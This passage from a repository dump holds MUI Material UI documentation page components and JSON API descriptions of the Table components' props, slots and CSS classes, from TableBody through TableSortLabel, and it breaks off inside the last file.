    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-body.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-body',\n    false,\n    /\\.\\/table-body.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-body.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TableBody\",\n  \"imports\": [\n    \"import TableBody from '@mui/material/TableBody';\",\n    \"import { TableBody } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTableBody-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableBody\",\n  \"forwardsRefTo\": \"HTMLTableSectionElement\",\n  \"filename\": \"/packages/mui-material/src/TableBody/TableBody.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-cell.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-cell.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-cell',\n    false,\n    /\\.\\/table-cell.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-cell.json",
    "content": "{\n  \"props\": {\n    \"align\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'center'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'justify'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'\"\n      },\n      \"default\": \"'inherit'\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"padding\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'checkbox'<br>&#124;&nbsp;'none'<br>&#124;&nbsp;'normal'\"\n      }\n    },\n    \"scope\": { \"type\": { \"name\": \"string\" } },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"sortDirection\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'asc'<br>&#124;&nbsp;'desc'<br>&#124;&nbsp;false\" }\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'body'<br>&#124;&nbsp;'footer'<br>&#124;&nbsp;'head'<br>&#124;&nbsp;string\"\n      }\n    }\n  },\n  \"name\": \"TableCell\",\n  \"imports\": [\n    \"import TableCell from '@mui/material/TableCell';\",\n    \"import { TableCell } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"alignCenter\",\n      \"className\": \"MuiTableCell-alignCenter\",\n      \"description\": \"Styles applied to the root element if `align=\\\"center\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"alignJustify\",\n      \"className\": \"MuiTableCell-alignJustify\",\n      \"description\": \"Styles applied to the root element if `align=\\\"justify\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"alignLeft\",\n      \"className\": \"MuiTableCell-alignLeft\",\n      \"description\": \"Styles applied to the root element if `align=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"alignRight\",\n      \"className\": \"MuiTableCell-alignRight\",\n      \"description\": \"Styles applied to the root element if `align=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"body\",\n      \"className\": \"MuiTableCell-body\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"body\\\"` or `context.table.body`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"footer\",\n      \"className\": \"MuiTableCell-footer\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"footer\\\"` or `context.table.footer`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"head\",\n      \"className\": \"MuiTableCell-head\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"head\\\"` or `context.table.head`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paddingCheckbox\",\n      \"className\": \"MuiTableCell-paddingCheckbox\",\n      \"description\": \"Styles applied to the root element if `padding=\\\"checkbox\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paddingNone\",\n      \"className\": \"MuiTableCell-paddingNone\",\n      \"description\": \"Styles applied to the root element if `padding=\\\"none\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTableCell-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiTableCell-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiTableCell-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"stickyHeader\",\n      \"className\": \"MuiTableCell-stickyHeader\",\n      \"description\": \"Styles applied to the root element if `context.table.stickyHeader={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableCell\",\n  \"forwardsRefTo\": \"HTMLTableCellElement\",\n  \"filename\": \"/packages/mui-material/src/TableCell/TableCell.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-container.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-container.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-container',\n    false,\n    /\\.\\/table-container.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-container.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TableContainer\",\n  \"imports\": [\n    \"import TableContainer from '@mui/material/TableContainer';\",\n    \"import { TableContainer } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTableContainer-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableContainer\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/TableContainer/TableContainer.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-footer.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-footer.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-footer',\n    false,\n    /\\.\\/table-footer.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-footer.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TableFooter\",\n  \"imports\": [\n    \"import TableFooter from '@mui/material/TableFooter';\",\n    \"import { TableFooter } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTableFooter-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableFooter\",\n  \"forwardsRefTo\": \"HTMLTableSectionElement\",\n  \"filename\": \"/packages/mui-material/src/TableFooter/TableFooter.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-head.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-head.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-head',\n    false,\n    /\\.\\/table-head.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-head.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TableHead\",\n  \"imports\": [\n    \"import TableHead from '@mui/material/TableHead';\",\n    \"import { TableHead } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTableHead-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableHead\",\n  \"forwardsRefTo\": \"HTMLTableSectionElement\",\n  \"filename\": \"/packages/mui-material/src/TableHead/TableHead.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-pagination-actions.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-pagination-actions.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-pagination-actions',\n    false,\n    /\\.\\/table-pagination-actions.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-pagination-actions.json",
    "content": "{\n  \"props\": {\n    \"getItemAriaLabel\": {\n      \"type\": { \"name\": \"func\" },\n      \"required\": true,\n      \"signature\": { \"type\": \"function(type: string) => string\", \"describedArgs\": [\"type\"] }\n    },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"TablePaginationActions\",\n  \"imports\": [\n    \"import TablePaginationActions from '@mui/material/TablePaginationActions';\",\n    \"import { TablePaginationActions } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"firstButton\",\n      \"description\": \"The component that renders the first button.\",\n      \"default\": \"IconButton\",\n      \"class\": null\n    },\n    {\n      \"name\": \"lastButton\",\n      \"description\": \"The component that renders the last button.\",\n      \"default\": \"IconButton\",\n      \"class\": null\n    },\n    {\n      \"name\": \"nextButton\",\n      \"description\": \"The component that renders the next button.\",\n      \"default\": \"IconButton\",\n      \"class\": null\n    },\n    {\n      \"name\": \"previousButton\",\n      \"description\": \"The component that renders the previous button.\",\n      \"default\": \"IconButton\",\n      \"class\": null\n    },\n    {\n      \"name\": \"firstButtonIcon\",\n      \"description\": \"The component that renders the first button icon.\",\n      \"default\": \"FirstPageIcon\",\n      \"class\": null\n    },\n    {\n      \"name\": \"lastButtonIcon\",\n      \"description\": \"The component that renders the last button icon.\",\n      \"default\": \"LastPageIcon\",\n      \"class\": null\n    },\n    {\n      \"name\": \"nextButtonIcon\",\n      \"description\": \"The component that renders the next button icon.\",\n      \"default\": \"KeyboardArrowRight\",\n      \"class\": null\n    },\n    {\n      \"name\": \"previousButtonIcon\",\n      \"description\": \"The component that renders the previous button icon.\",\n      \"default\": \"KeyboardArrowLeft\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTablePaginationActions\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/TablePaginationActions/TablePaginationActions.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-pagination/\\\">Pagination</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-pagination.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-pagination.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-pagination',\n    false,\n    /\\.\\/table-pagination.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-pagination.json",
    "content": "{\n  \"props\": {\n    \"count\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"required\": true },\n    \"onPageChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"required\": true,\n      \"signature\": {\n        \"type\": \"function(event: React.MouseEvent<HTMLButtonElement> | null, page: number) => void\",\n        \"describedArgs\": [\"event\", \"page\"]\n      }\n    },\n    \"page\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"required\": true },\n    \"rowsPerPage\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"required\": true },\n    \"ActionsComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"TablePaginationActions\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"getItemAriaLabel\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"function defaultGetAriaLabel(type) {\\n  return `Go to ${type} page`;\\n}\",\n      \"signature\": { \"type\": \"function(type: string) => string\", \"describedArgs\": [\"type\"] }\n    },\n    \"labelDisplayedRows\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"function defaultLabelDisplayedRows({ from, to, count }) {\\n  return `${formatNumber(from)}–${formatNumber(to)} of ${count !== -1 ? formatNumber(count) : `more than ${formatNumber(to)}`}`;\\n}\"\n    },\n    \"labelRowsPerPage\": { \"type\": { \"name\": \"node\" }, \"default\": \"'Rows per page:'\" },\n    \"onRowsPerPageChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"rowsPerPageOptions\": {\n      \"type\": {\n        \"name\": \"arrayOf\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;{ label: string, value: number }&gt;\"\n      },\n      \"default\": \"[10, 25, 50, 100]\"\n    },\n    \"showFirstButton\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"showLastButton\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ actions?: { firstButton?: object, firstButtonIcon?: object, lastButton?: object, lastButtonIcon?: object, nextButton?: object, nextButtonIcon?: object, previousButton?: object, previousButtonIcon?: object }, displayedRows?: func<br>&#124;&nbsp;object, menuItem?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, select?: object, selectLabel?: func<br>&#124;&nbsp;object, spacer?: func<br>&#124;&nbsp;object, toolbar?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ actions?: { firstButton?: elementType, firstButtonIcon?: elementType, lastButton?: elementType, lastButtonIcon?: elementType, nextButton?: elementType, nextButtonIcon?: elementType, previousButton?: elementType, previousButtonIcon?: elementType }, displayedRows?: elementType, menuItem?: elementType, root?: elementType, select?: elementType, selectLabel?: elementType, spacer?: elementType, toolbar?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TablePagination\",\n  \"imports\": [\n    \"import TablePagination from '@mui/material/TablePagination';\",\n    \"import { TablePagination } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\\n[Follow this guide](https://mui.com/material-ui/api/table-cell/#props) to learn more about the requirements for this component.\",\n      \"default\": \"TableCell\",\n      \"class\": \"MuiTablePagination-root\"\n    },\n    {\n      \"name\": \"toolbar\",\n      \"description\": \"The component that renders the toolbar slot.\\n[Follow this guide](https://mui.com/material-ui/api/toolbar/#props) to learn more about the requirements for this component.\",\n      \"default\": \"Toolbar\",\n      \"class\": \"MuiTablePagination-toolbar\"\n    },\n    {\n      \"name\": \"spacer\",\n      \"description\": \"The tag that renders the spacer slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiTablePagination-spacer\"\n    },\n    {\n      \"name\": \"selectLabel\",\n      \"description\": \"The tag that renders the selectLabel slot.\",\n      \"default\": \"'p'\",\n      \"class\": \"MuiTablePagination-selectLabel\"\n    },\n    {\n      \"name\": \"select\",\n      \"description\": \"The component that renders the select slot.\\n[Follow this guide](https://mui.com/material-ui/api/select/#props) to learn more about the requirements for this component.\",\n      \"default\": \"Select\",\n      \"class\": \"MuiTablePagination-select\"\n    },\n    {\n      \"name\": \"menuItem\",\n      \"description\": \"The component that renders the select slot.\\n[Follow this guide](https://mui.com/material-ui/api/menu-item/#props) to learn more about the requirements for this component.\",\n      \"default\": \"MenuItem\",\n      \"class\": \"MuiTablePagination-menuItem\"\n    },\n    {\n      \"name\": \"displayedRows\",\n      \"description\": \"The tag that renders the displayedRows slot.\",\n      \"default\": \"'p'\",\n      \"class\": \"MuiTablePagination-displayedRows\"\n    },\n    {\n      \"name\": \"actions\",\n      \"description\": \"The slots that passed to the actions slot.\",\n      \"class\": \"MuiTablePagination-actions\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"input\",\n      \"className\": \"MuiTablePagination-input\",\n      \"description\": \"Styles applied to the Select component `root` element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selectIcon\",\n      \"className\": \"MuiTablePagination-selectIcon\",\n      \"description\": \"Styles applied to the Select component `icon` class.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selectRoot\",\n      \"className\": \"MuiTablePagination-selectRoot\",\n      \"description\": \"Styles applied to the Select component `root` element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTablePagination\",\n  \"forwardsRefTo\": \"HTMLTableCellElement\",\n  \"filename\": \"/packages/mui-material/src/TablePagination/TablePagination.js\",\n  \"inheritance\": { \"component\": \"TableCell\", \"pathname\": \"/material-ui/api/table-cell/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-pagination/\\\">Pagination</a></li>\\n<li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-row.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-row.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-row',\n    false,\n    /\\.\\/table-row.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-row.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"hover\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"selected\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TableRow\",\n  \"imports\": [\n    \"import TableRow from '@mui/material/TableRow';\",\n    \"import { TableRow } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"footer\",\n      \"className\": \"MuiTableRow-footer\",\n      \"description\": \"Styles applied to the root element if table variant=\\\"footer\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"head\",\n      \"className\": \"MuiTableRow-head\",\n      \"description\": \"Styles applied to the root element if table variant=\\\"head\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hover\",\n      \"className\": \"MuiTableRow-hover\",\n      \"description\": \"State class applied to the root element if `hover={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiTableRow-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}`.\",\n      \"isGlobal\": true\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableRow\",\n  \"forwardsRefTo\": \"HTMLTableRowElement\",\n  \"filename\": \"/packages/mui-material/src/TableRow/TableRow.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-table/\\\">Table</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-sort-label.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './table-sort-label.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/table-sort-label',\n    false,\n    /\\.\\/table-sort-label.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/table-sort-label.json",
    "content": "{\n  \"props\": {\n    \"active\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"direction\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'asc'<br>&#124;&nbsp;'desc'\" },\n      \"default\": \"'asc'\"\n    },\n    \"hideSortIcon\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"IconComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"ArrowDownwardIcon\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ icon?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ icon?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"TableSortLabel\",\n  \"imports\": [\n    \"import TableSortLabel from '@mui/material/TableSortLabel';\",\n    \"import { TableSortLabel } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"span\",\n      \"class\": \"MuiTableSortLabel-root\"\n    },\n    {\n      \"name\": \"icon\",\n      \"description\": \"The component that renders the icon slot.\",\n      \"default\": \"ArrowDownwardIcon\",\n      \"class\": \"MuiTableSortLabel-icon\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"active\",\n      \"className\": \"Mui-active\",\n      \"description\": \"State class applied to the root element if `active={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"directionAsc\",\n      \"className\": \"MuiTableSortLabel-directionAsc\",\n      \"description\": \"Styles applied to the root element if `direction=\\\"asc\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"directionDesc\",\n      \"className\": \"MuiTableSortLabel-directionDesc\",\n      \"description\": \"Styles applied to the root element if `direction=\\\"desc\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiTableSortLabel\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/TableSortLabel/TableSortLabel.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" 